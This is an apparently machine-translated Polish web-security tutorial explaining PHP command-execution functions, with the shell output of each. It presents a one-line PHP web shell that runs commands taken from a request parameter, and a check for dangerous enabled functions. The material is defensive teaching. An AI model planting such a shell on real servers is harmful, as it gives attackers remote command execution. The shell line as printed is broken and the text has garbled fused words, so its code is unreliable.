Dubitinsider

for your information

w części 1 tej serii przyjrzeliśmy się, czym jest web shell i dlaczego atakujący chciałby go użyć. W części 2 tej serii przyjrzymy się konkretnym przykładom powłok internetowych opracowanych przy użyciu języka programowania PHP.

powłoki internetowe istnieją dla prawie każdego języka programowania internetowego, o którym możesz pomyśleć. Zdecydowaliśmy się skupić na PHP, ponieważ jest to najczęściej używany język programowania w Internecie.

powłoki Web PHP nie robią nic więcej niż używają wbudowanych funkcji PHP do wykonywania poleceń. Poniżej przedstawiono niektóre z najczęstszych funkcji używanych do wykonywania poleceń powłoki w PHP.

uwaga: na potrzeby tego artykułu edytowaliśmy plik hostów i wskazywaliśmy domenę www.example.com na serwer testowy.

system ()

funkcjasystem() przyjmuje polecenie jako parametr i wypisuje wynik.

poniższy przykład na komputerze z systemem Microsoft Windows uruchomi polecenie dir, aby zwrócić listę katalogów, w których wykonywany jest plik PHP.

<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free

wykonanie polecenials na komputerze z systemem Linux osiąga podobny wynik.

<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

Inne polecenia mają ten sam efekt.

<?php// Return the user the script is running undersystem("whoami");?>--> www-data

exec ()

funkcjaexec() przyjmuje polecenie jako parametr, ale nie wyświetla wyniku. Jeśli zostanie podany drugi opcjonalny parametr, wynik zostanie zwrócony jako tablica. W przeciwnym razie tylko ostatnia linia wyniku zostanie wyświetlona, jeśli zostanie powtórzona.

<?php// Executes but returns nothingexec("ls -la");?>-->

używanieecho z funkcjąexec() wyświetli tylko ostatnią linię wyjścia polecenia.

<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

Jeśli podano drugi parametr, wynik jest zwracany w tablicy.

<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec ()

funkcjashell_exec() jest podobna doexec(), jednak wypisuje cały wynik jako ciąg znaków.

<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru ()

funkcjapassthru() wykonuje polecenie i zwraca wyjście w formacie raw.

<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open ()

funkcjaproc_open() może być trudna do zrozumienia (szczegółowy opis funkcji można znaleźć w dokumentach PHP). Używając proc_open(), możemy utworzyć procedurę obsługi (proces), która będzie używana do komunikacji pomiędzy naszym skryptem a programem, który chcemy uruchomić.

Backticks

Co zaskakujące, niewielu programistów PHP zdaje sobie z tego sprawę, ale PHP wykona zawartość backticks (`) jako polecenie powłoki.

Uwaga: znaku backtick (`) nie należy mylić z pojedynczym znakiem cudzysłowu (’)
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

na podstawie powyższego, poniżej znajduje się powłoka webowa PHP w najprostszej formie.

<?php system($_GET);?>

używa funkcji system() do wykonywania poleceń przekazywanych przez parametr GET żądania HTTP 'cmd’.

Web shells image 2

ustaliliśmy, że te funkcje (i kilka innych) mogą być bardzo niebezpieczne. Jeszcze bardziej niebezpieczne jest to, że wszystkie te wbudowane polecenia PHP są domyślnie włączone, gdy PHP jest zainstalowany, a większość administratorów systemu ich nie wyłącza.

Jeśli nie masz pewności, czy są one włączone w Twoim systemie, poniższa lista zwróci listę niebezpiecznych funkcji, które są włączone.

<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>

w domyślnej instalacji widzimy, że wszystkie funkcje wymienione powyżej są włączone.

 => exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen

Część 1

Wprowadzenie do Web Shells

część 2

Web Shells 101 przy użyciu PHP

Część 3

trzymanie Web Shells pod osłoną

część 4

powłoki sieciowe w akcji

część 5

wykrywanie& zapobieganie

Często zadawane pytania

powłoka sieciowa jest mała aplikacja, którą atakujący uruchamia na twoim serwerze WWW. Następnie mogą korzystać z tej aplikacji, aby zdalnie uzyskać dostęp do serwera i uruchamiać na nim polecenia. Powłoka sieciowa sama w sobie nigdy nie jest atakiem, jest następstwem udanego ataku na Twoją stronę internetową lub aplikację internetową. Oznacza to, że jeśli masz powłokę internetową, masz o wiele poważniejszy problem do zmartwienia.

zobacz jak działa web shell w praktyce.

złośliwi hakerzy używają powłok internetowych do przejęcia kontroli nad już skompromitowanym serwerem. Po pierwsze, wykorzystują lukę w witrynie lub aplikacji internetowej, taką jak SQL injection, zdalne wykonywanie kodu lub inne. Następnie przesyłają powłokę internetową na serwer WWW. Od teraz mogą uruchamiać dowolne polecenia, które im się podobają na twoim serwerze.

zobacz krok po kroku przykład ataku, który prowadzi do pełnego kompromisu serwera.

możesz wykryć powłoki sieci Web poprzez analizę logów. Nie powinieneś jednak skupiać się na wykrywaniu powłok internetowych, ale zamiast tego powinieneś wykrywać luki w zabezpieczeniach, które mogą pozwolić atakującym przejąć kontrolę nad Twoim serwerem. Nawet jeśli wykryjesz powłokę sieciową, nie powstrzyma to atakujących przed ponownym przejęciem kontroli, jeśli luki nadal istnieją. Aby wykryć luki w zabezpieczeniach sieciowych i dowiedzieć się, jak je wyeliminować, użyj Acunetix.

Zobacz, co Acunetix Premium może dla ciebie zrobić.

najlepszym sposobem zabezpieczenia się przed powłokami sieciowymi jest uniemożliwienie ich używania w systemie. Możesz to zrobić, hartując swój serwer-usuwając wszystkie nadmiarowe uprawnienia, blokując potencjalnie niebezpieczne funkcje, ograniczając wykonywanie skryptów w katalogach wysyłania itp. Jednak najlepiej jest chronić serwer przed zagrożeniami w pierwszej kolejności, korzystając z Acunetix regularnie.

Dowiedz się więcej o wykrywaniu i ochronie powłoki internetowej.

Co tydzień Otrzymuj najnowsze treści dotyczące bezpieczeństwa w sieci
.

Udostępnij ten POST
autor
agathoklis Prodromou
administrator/programista systemów internetowych

akis pracuje w sferze IT od ponad 13 lat, rozwijając swoje umiejętności z perspektywy defensywnej jako administrator systemu i programista stron internetowych, ale także z perspektywy ofensywnej jako tester penetracji. Posiada różne certyfikaty zawodowe związane z etycznym hakowaniem, kryminalistyką cyfrową i reagowaniem na incydenty.

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany.